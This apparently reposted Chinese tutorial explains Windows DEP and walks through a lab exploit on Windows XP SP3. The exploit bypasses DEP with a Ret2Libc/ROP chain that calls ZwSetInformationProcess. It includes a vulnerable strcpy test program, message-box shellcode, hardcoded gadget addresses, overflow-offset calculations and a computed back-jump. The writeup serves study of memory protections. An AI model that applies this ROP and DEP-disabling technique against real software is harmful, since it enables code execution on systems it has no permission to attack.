内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

Posted zhang293

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数相关的知识,希望对你有一定的参考价值。

1.    DEP内存保护机制

1.1   DEP工作原理

分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,数据执行保护DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时(注1),程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。如下图所示。

 

 

DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不同分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。

软件DEP其实就是之前的safeSEH,与CPU硬件无关,其本质是Windows利用软件模拟实现DEP,对操作系统提供一定的保护。

硬件DEP才是真正意义的DEP,硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD),两者功能及工作原理在本质上是相同的。

操作系统通过设置内存页的NX/XD属性标记,来指明不能从该内存执行代码。为了实现这个功能,需要在内存的页面表(Page Table)中加入一个特殊的标识位(NX/XD)来标识是否允许在该页上执行指令。当该标识位设置为0里表示这个页面允许执行指令,设置为1时表示该页面不允许执行指令。

        

1.2    DEP绕过思路

i.利用未启用DEP保护机制的模块绕过DEP保护机制:

根据启动参数的不同,DEP工作状态可以分为四种:

(1)optin:默认仅将DEP保护应用于Windows系统组件和服务,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT,Application Compatibility Toolkit)为选定的程序启用DEP,在Vista下边经过/NXcompat选项编译过的程序将自动应用DEP.这种模式可以被应用程序动态关闭,它多用于普通用户版的操作系统,如Windows XP、Windows Vista、Windows7.

(2)optout:为排除列表程序外的所有程序和服务启用DEP,用户可以手动在排除列表中指定不启用DEP保护的程序和服务。这种模式可以被应用程序动态关闭,它多用于服务器版的操作系统,如 Windows Server 2003、Windows Server 2008.

(3)alwaysOn:对所有进程启用DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn模式。

(4)alwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才使用,如DEP干扰到程序的正常运行。

 在32位机子上有很多程序是不受DEP保护机制保护的,利用这些程序中的指令可以绕过DEP,方法类似于利用未启用safeSEH保护机制的模块绕过safeSEH机制。

 

ii.利用Ret2Libc绕过DEP:

Ret2Libc是Return-to-libc的简写,DEP机制不允许我们在非可执行页执行指令,那么,我们可以为shellcode中的每条指令都在代码区(可执行页)中找到一条替代指令,这种指令链就是传说中的ROP链了,通过ROP链就可以完成exploit了。

可以利用绕过DEP的API函数:

iii.利用可执行内存绕过DEP

有时候在进程的内存空间中会存在一段可读可写可执行的内存(这个就要看机缘了),如果我们能够将shellcode复制到这段内存中,并劫持程序流程,shellcode就可以执行了。

利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

⑴.  原理分析:

i.相关概念:

一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上(只可以用于win xp,win 2000,win 2003),而这个标识可以通过API函数ZwSetInformationProcess函数和ZwQueryInformationProcess函数进行修改和查询。

 

Win XP下的KPROCESS结构:

        nt!_EPROCESS
           +0x000 Pcb              : _KPROCESS
         +0x000 Header           : _DISPATCHER_HEADER

            ······

            +0x06b Flags              : _KEXECUTE_OPTIONS

            ······

        _KEXECUTE_OPTIONS选项:

+0x06b Flags       : _KEXECUTE_OPTIONS
 +0x000 ExecuteDisable     : Pos 0, 1 Bit
 +0x000 ExecuteEnable     : Pos 1, 1 Bit
 +0x000 DisableThunkEmulation   : Pos 2, 1 Bit
 +0x000 Permanent     : Pos 3, 1 Bit
 +0x000 ExecuteDispatchEnable   : Pos 4, 1 Bit
 +0x000 ImageDispatchEnable   : Pos 5, 1 Bit
 +0x000 Spare       : Pos 6, 2 Bits

当DEP被启用时,ExecuteDisable 被置位,当DEP被禁用,ExecuteEnable 被置位,当Permanent 标志置位时表示这些设置是最终设置,不可更改。

NtSetInformationProcess函数:

将NtSetInformationProcess关闭函数参数设置如下参数,就可以关闭DEP保护机制。

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
  NtCurrentProcess(),    // ProcessHandle = -1
  ProcessExecuteFlags,   // ProcessInformationClass = 0x22(ProcessExecuteFlags)
  &ExecuteFlags,               // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
  sizeof(ExecuteFlags));   // ProcessInformationLength = 0x4

 

ii.思路分析:

通过上面相关概念的介绍,我们可以得到利用NtSetInformationProcess函数绕过DEP保护机制的思路,只要在调用NtSetInformationProcess函数之前利用ROP技术设置如上文提到参数,在调用NtSetInformationProcess函数,就可以关闭掉DEP机制了,(或者也可以查找系统中本身就又的一些关闭DEP的程序,比构造手动ROP链简单,但使用版本有限制)。

 

⑵.环境准备:

i.实验代码:

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

#include <windows.h>

char shellcode[]=

"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C"

"\\x8B\\xF4\\x8D\\x7E\\xF4\\x33\\xDB\\xB7\\x04\\x2B\\xE3\\x66\\xBB\\x33\\x32\\x53"

"\\x68\\x75\\x73\\x65\\x72\\x54\\x33\\xD2\\x64\\x8B\\x5A\\x30\\x8B\\x4B\\x0C\\x8B"

"\\x49\\x1C\\x8B\\x09\\x8B\\x69\\x08\\xAD\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\x05\\x95"

"\\xFF\\x57\\xF8\\x95\\x60\\x8B\\x45\\x3C\\x8B\\x4C\\x05\\x78\\x03\\xCD\\x8B\\x59"

"\\x20\\x03\\xDD\\x33\\xFF\\x47\\x8B\\x34\\xBB\\x03\\xF5\\x99\\x0F\\xBE\\x06\\x3A"

"\\xC4\\x74\\x08\\xC1\\xCA\\x07\\x03\\xD0\\x46\\xEB\\xF1\\x3B\\x54\\x24\\x1C\\x75"

"\\xE4\\x8B\\x59\\x24\\x03\\xDD\\x66\\x8B\\x3C\\x7B\\x8B\\x59\\x1C\\x03\\xDD\\x03"

"\\x2C\\xBB\\x95\\x5F\\xAB\\x57\\x61\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\xA9\\x33\\xDB"

"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50"

"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"

"\\x90\\x90\\x90\\x90"

"\\x70\\xE2\\x92\\x7C"//MOV EAX,1 RETN地址

"\\x70\\xdc\\xec\\x77"//将EBP指向可执行地址

"\\xaa\\xd3\\x92\\x7c"//增大ESP地址

"\\x28\\x4f\\xc5\\x7d"//jmp esp地址

"\\x44\\xcd\\x93\\x7c"//关闭DEP代码地址

"\\xe9\\x33\\xff\\xff\\xff\\x90\\x90\\x90"//长跳指令

;

void test()

{

    char tt[176];

    strcpy(tt,shellcode);

}

int main()

{

    HINSTANCE hInst = LoadLibrary("shell32.dll");

    char temp[200];

    test();

    return 0;

}

 

ii.测试环境:

   

测试平台:window xp with sp3(win7 上找不到可以利用的map文件)。

启用DEP保护机制:

 

编译环境:

为了避免其他保护机制的影响,直接用visual c++ 6.0编译。

       

⑶.调试分析:

找到存在溢出的函数strcpy:

 

缓冲区起点:0x0012fdfc

溢出点(函数返回地址):0x0012feb0

 

 

⑷.攻击过程:

i.确定覆盖面积:

        覆盖面积 = 函数返回地址–缓冲区起始地址 + 4 = 0xB8 = 184(字节)

        

ii.编写payload(弹框):

        这里偷懒,直接用了网上的,当然也可以用msfevon生成。

       

iii.查找系统中可能的关闭DEP的程序:

        使用OllyFindAddr插件查找统中可能的关闭DEP的程序指令,结果如下:

       

结果如下:

 

得到的关闭DEP的程序指令起始地址:

0x7c93cd44

 

iii.了解关闭过程:

那么,接着上一步,我们直接将函数的返回地址覆盖成关闭DEP的程序指令起始地址,之后再跳转回去执行我们的恶意代码,就可以了???

答案当然是NO,

这里我们已经找到了这段关闭DEP的程序代码,但是,我们的攻击还是失败了,这就要分析一下这段代码是这门关闭DEP的,需要什么参数,是不是我们的命令不全,导致这个漏洞利用失败了。

观察程序,

 

只有在al = 1的时候,这个关闭DEP的程序才会继续执行下去,所以,就需要在调用这段程序之前,将eax的值赋为1。

这里在可执行区域查找指令得到指令(OllyFindAddr插件搜索结果的step2),得到指令地址0x7c92e270

将这个地址写在调用DEP关闭程序之前,那岂不是就OK了?

 

iv,调整ebp:

第iii步的执行结果如下:

 

哇???这?为什么?

因为我们的shellcode在覆盖的时候把栈的将来要EBP的地址覆盖掉了,而关闭程序中会以ebp为基址写入参数:

 

这个时候程序就崩溃了,我们覆盖的地址是没有写入权限的啊,,,

怎么办?

在执行关闭代码之前将ebp指向一个可以写的地址,怎么找?

在(OllyFindAddr插件搜索结果的step3)就有一些可以利用的指令地址,但是根据现场寄存器的情况可以得出,只有ESP保存的地址是可以写入的,所以就要ESP的地址写入到EBP中,指令:PUSH ESP POP EBP RET 4 ,PUSH ESP POP EBP指令将ESP的值写入到EBP中,esp值增加8字节。

所以在修正ebp指令的地址之后8字节处写入关闭DEP机制的程序地址,之后再写入跳转指令,跳回payload就可以了?

 

v.增大ESP:

上一步的运行结果如下:

 

?为什么?

因为,当执行关闭DEP的程序的时候,入栈的参数把返回这个程序的返回地址覆盖掉了,,,

观察参数入栈操作:

 

直接压入栈顶,和EBP没有关系,所以,这个时候,要想使参数不能覆盖掉返回地址,就需要将栈顶抬高:

查找指令  retn 0x28

将这个指令的地址写在调用关闭DEP程序指令地址(0x0012fec0)之前,为了达到控制EIP的目的,要对关闭DEP的程序的返回地址进行控制,可以看到返回地址位于栈0x0012febc处,返回后端栈顶值为0x0012fec4。所以就可在Ox0012febc处写入指令jmp esp的地址*(直接查找就可以),在0x0012febc处输入跳转指令。

 

 

vi.计算跳转指令

payload起始地址 = 0x0012fdfc

跳转起始地址 = 0x0012fec4

跳转距离 = 跳转起始地址 - payload起始地址 – 指令长度(5)= ffffff38

跳转指令:E938ffffff

 

vii.Shellcode结构:

 

viii.运行结果:

       

    成功。

 

以上是关于内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数的主要内容,如果未能解决你的问题,请参考以下文章

内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制

Linux下利用Ret2Libc绕过DEP

内存保护机制及绕过方案——从堆中绕过safeSEH

64位linux系统:栈溢出+ret2libc ROP attack

20155306 白皎 免考实践总结

使用ret2plt绕过libc安全区